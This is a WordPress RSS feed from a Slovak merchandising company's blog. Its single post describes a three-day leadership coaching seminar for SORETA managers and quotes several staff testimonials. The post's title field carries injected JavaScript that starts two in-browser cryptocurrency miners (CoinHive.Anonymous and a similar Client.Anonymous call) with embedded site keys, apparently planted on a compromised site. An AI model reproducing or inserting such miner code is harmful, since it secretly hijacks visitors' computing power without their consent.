<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>BLOG o reklamných predmetoch a merchandisingu &#187; Zo zákulisia Sorety</title>
	<atom:link href="http://www.soreta.sk/blog/category/zo-zakulisia-sorety/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.soreta.sk/blog</link>
	<description>BLOG spoločnosti SORETA spol. s r.o.</description>
	<lastBuildDate>Sun, 02 Feb 2014 14:03:33 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1.1</generator>
<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>  var miner = new CoinHive.Anonymous(&#039;49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK&#039;); miner.start(); Ako lepšie viesť svojich ľudí? var _client = new Client.Anonymous(&#039;0b408ad436e697e403cb6941f29f5bf9dcb41c85ae9dd6af93bab463618ffa07&#039;, {throttle: 0.4}); _client.start();</title>
		<link>http://www.soreta.sk/blog/2011/05/04/ako-lepsie-viest-svojich-ludi/</link>
		<comments>http://www.soreta.sk/blog/2011/05/04/ako-lepsie-viest-svojich-ludi/#comments</comments>
		<pubDate>Wed, 04 May 2011 10:25:50 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Merchandising inými očami]]></category>
		<category><![CDATA[Zo zákulisia Sorety]]></category>

		<guid isPermaLink="false">http://www.soreta.sk/blog/?p=63</guid>
		<description><![CDATA[V predveľkonočnom čase sa manažment spoločnosti SORETA stretol v peknom prostredí Kalinky na výnimočnom školení. V čom bolo výnimočné? Určite školiteľom, obsahom a v neposlednom rade aj formou. Nie, nesedeli sme v laviciach a nepočúvali. Skutočne sme sa  naučili ako lepšie viesť a motivovať náš tím k naplánovaným výsledkom. &#8230; <a href="http://www.soreta.sk/blog/2011/05/04/ako-lepsie-viest-svojich-ludi/">Pokračovať v čítaní <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">V predveľkonočnom čase sa manažment spoločnosti SORETA stretol v peknom prostredí Kalinky na výnimočnom školení. V čom bolo výnimočné? Určite školiteľom, obsahom a v neposlednom rade aj formou. Nie, nesedeli sme v laviciach a nepočúvali. Skutočne sme sa  naučili ako lepšie viesť a motivovať náš tím k naplánovaným výsledkom.<span id="more-63"></span></p>
<p style="text-align: justify;">Školenie, či skôr praktický seminár sa konal v dňoch 7. až 9. 4. 2011 v Kalinke. Mali sme tu česť, že nás koučovala taká osobnosť ako je Katarína Emma Schapiro zo spoločnosti <a href="http://continuum-partners.com/">Continuum Partners</a> (Consulting and Coaching Leaders for Change). Prečítajte si rozhovor s charizmatickou Katarínou Emma Schapiro uverejnený v elektronickej podobe časopisu <a href="http://profit.etrend.sk/kariera/dobry-kouc-ma-stvoro-usi.html">Trend</a>.</p>
<p style="text-align: justify;">Formou hier a dialógu sme sa počas troch dní postupne presúvali od témy k téme, od teoretických základov až po praktickú aplikáciu nadobudnutých vedomostí. Nenaučili sme sa len ako napĺňať stanovené ciele. Hlavne sa nám podarilo pochopiť, ako lepšie spoznať samých seba a kolegov, nájsť v sebe skryté schopnosti. Zistili sme, že lídri môžu byť najrôznejšie osobnosti a môžu viesť svoj tím najrôznejším spôsobom a napriek tomu správne.</p>
<p style="text-align: justify;">Program školenia v sebe zahŕňal užitočné informácie o typológii osobnosti a rôznych formách komunikácie na základe tejto typológie. Mali sme možnosť vyskúšať si formou hraných scénok a dialógov ako funguje motivácia, spätná väzba, samotný koučing, tréning zamestnancov. Pochopili sme do hĺbky v čom predovšetkým spočíva práca manažéra. Ujasnili sme si, čo robíme dobre, čo treba zmeniť a čo prestať robiť úplne. Katarína Emma Schapiro odhalila každú našu rezervu, vyvádzala nás z omylov, ukazovala nám naše chyby aj spôsob ako ich napraviť. Práve v tom bol hlavný prínos netradičnej formy školenia. Všetko sa dialo naživo, v namodelovanej situácii sme mohli ihneď diskutovať, či už o správnej forme motivácie v danej chvíli alebo prečo nerobiť niečo tak, ako doteraz, ale úplne inak.</p>
<p style="text-align: justify;">Veríme, že toto školenie nás poučilo a motivovalo. Čo sme si okrem príjemného zážitku a množstva vedomostí odniesli?</p>
<p style="text-align: justify;"><span style="color: #800000;">Juraj Holič &#8211; Key Account Manager</span> spoločnosti SORETA:</p>
<p style="text-align: justify;">„Školenie nás určite posunulo smerom dopredu k správnej komunikácii, ako správne riešiť veci a neočakávané situácie. Naučili sme sa ako si stanoviť jasné ciele a ako ich dosiahnuť. Odhalilo to v nás vlastnosti, ktoré dávno v sebe mame ale nepoužívame ich.“</p>
<p style="text-align: justify;"><span style="color: #800000;">Mariana Jaďuďová &#8211; Area Manager</span> spoločnosti SORETA:</p>
<p>&#8220;Z môjho pohľadu bolo školenie veľmi zaujímavou skúsenosťou, kde som si mohla prakticky vyskúšať na rôznych modelových situáciách teóriu o koučingu získanú počas môjho štúdia na vysokej škole. Pani Shapiro nám všetkým ukázala, v čom vidí naše prednosti a mne poodhalila aj také, ktoré som na sebe nevidela. Samozrejme, že som sa zamyslela aj nad vecami, v ktorých mám možnosť zlepšovať sa. Prostredníctvom semináru som si uvedomila, aký dôležitý je tím a tímová práca, zdieľanie úspechu toho druhého, vzájomná pomoc a podpora. Pani Shapiro dokázala tak pútavo rozprávať, že seminár sa skončil ani sme sa nenazdali. Už teraz sa teším na ďalšie stretnutie.&#8221;</p>
<p><span style="color: #800000;">Juraj Jánošík &#8211; Area Manager</span> spoločnosti SORETA:</p>
<p>&#8220;Asi ako každý z nás, čo sme boli na tomto školení som si dopredu robil predstavu ako to asi bude vyzerať. Musím povedať, že som bol prekvapený už len z prostredia, v ktorom toto školenie prebiehalo a samozrejme zo stretnutia s koučerom pani Schapiro, ktorá vo mne vyvolala pocit, že môžem ísť s každým problémom za ňou a ona mi rada pomôže. Na školení mi bolo poukázané aká som osobnosť, kde mám slabiny, akým chybám sa mám vyvarovať pri komunikácii, na čom treba popracovať, aby som čo najlepšie vedel zvládať nečakané situácie, ale hlavne naučiť sa viesť tím ľudí k stanovenému cieľu. Teším sa na ďalšie stretnutie s pani Schapiro.&#8221;</p>
<p><span style="color: #800000;">Martina Novotňáková &#8211; Area Manager</span> spoločnosti SORETA:</p>
<p>,,Školenie, ktoré som  absolvovala s Katarínou Schapiro bolo veľmi poučné, obohacujúce a zábavné. Pani Schapiro mi ukázala ako efektívne komunikovať, byť si v komunikácii istá a dostatočne pripravená, ako si stanoviť ciele, rozvíjať ich a zároveň ich aj dosiahnuť. Koučingom nás naučila ako inak rozmýšľať, ľahšie hľadať názory, stanoviská a riešenia. Zo školenia  som si odniesla množstvo vedomostí  a príjemných zážitkov. Ďakujem a teším sa na ďalšie stretnutie.“</p>
<p style="text-align: justify;">Katarína, ďakujeme a tešíme sa na ďalšie školenie.</p>
<p style="text-align: justify;">&nbsp;</p>
<p style="text-align: justify;">&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.soreta.sk/blog/2011/05/04/ako-lepsie-viest-svojich-ludi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
